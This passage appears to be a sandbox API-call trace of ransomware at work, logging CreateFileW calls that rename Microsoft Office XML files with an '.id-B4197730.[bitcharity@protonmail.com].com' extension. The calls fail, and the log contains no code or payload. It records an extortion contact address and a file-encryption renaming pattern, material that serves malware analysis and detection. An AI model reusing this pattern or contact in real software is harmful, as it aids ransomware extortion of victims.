CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.SE.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.se.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.434] CloseHandle (hObject=0x1104) returned 1 [0268.436] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.436] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL001.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl001.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.436] CloseHandle (hObject=0x1104) returned 1 [0268.437] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.437] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL002.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl002.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.437] CloseHandle (hObject=0x1104) returned 1 [0268.438] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.438] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL010.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl010.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.438] CloseHandle (hObject=0x1104) returned 1 [0268.439] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.439] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL011.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl011.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.439] CloseHandle (hObject=0x1104) returned 1 [0268.440] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.440] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL012.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl012.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.440] CloseHandle (hObject=0x1104) returned 1 [0268.442] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.442] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL016.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl016.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.442] CloseHandle (hObject=0x1104) returned 1 [0268.443] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.443] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL020.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl020.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.443] CloseHandle (hObject=0x1104) returned 1 [0268.444] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.444] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL022.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl022.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.099] CloseHandle (hObject=0x1104) returned 1 [0269.479] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.479] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL103.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl103.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.479] CloseHandle (hObject=0x1278) returned 1 [0269.480] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.480] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL104.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl104.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.481] CloseHandle (hObject=0x1278) returned 1 [0269.482] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.482] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL105.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl105.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.482] CloseHandle (hObject=0x1278) returned 1 [0269.483] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.483] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL106.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl106.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.484] CloseHandle (hObject=0x1278) returned 1 [0269.484] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.484] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL107.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl107.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.485] CloseHandle (hObject=0x1278) returned 1 [0269.486] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.486] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL108.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl108.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.486] CloseHandle (hObject=0x1278) returned 1 [0269.487] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.487] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL109.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl109.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.487] CloseHandle (hObject=0x1278) returned 1 [0269.489] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.489] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL110.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl110.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.489] CloseHandle (hObject=0x1278) returned 1 [0269.490] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.490] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL111.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl111.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.490] CloseHandle (hObject=0x1278) returned 1 [0269.492] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.492] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL112.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl112.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.492] CloseHandle (hObject=0x1278) returned 1 [0269.494] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.494] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL115.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl115.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.496] CloseHandle (hObject=0x1278) returned 1 [0269.498] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.498] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL116.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl116.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.498] CloseHandle (hObject=0x1278) returned 1 [0269.500] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.500] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL117.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl117.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.500] CloseHandle (hObject=0x1278) returned 1 [0269.501] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.502] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL118.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl118.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.502] CloseHandle (hObject=0x1278) returned 1 [0269.503] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.503] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL119.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl119.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.503] CloseHandle (hObject=0x1278) returned 1 [0269.504] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.504] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL120.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl120.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.505] CloseHandle (hObject=0x1278) returned 1 [0269.506] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.506] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN001.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn001.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.506] CloseHandle (hObject=0x1278) returned 1 [0269.508] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.508] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN002.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn002.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.508] CloseHandle (hObject=0x1278) returned 1 [0269.509] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.510] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN010.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn010.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.510] CloseHandle (hObject=0x1278) returned 1 [0269.511] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.511] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN011.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn011.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.511] CloseHandle (hObject=0x1278) returned 1 [0269.512] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.513] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN020.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn020.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.513] CloseHandle (hObject=0x1278) returned 1 [0269.613] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.613] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN022.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn022.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.614] CloseHandle (hObject=0x1278) returned 1 [0269.614] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.615] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN026.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn026.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.615] CloseHandle (hObject=0x1278) returned 1 [0269.616] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.616] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN027.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn027.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 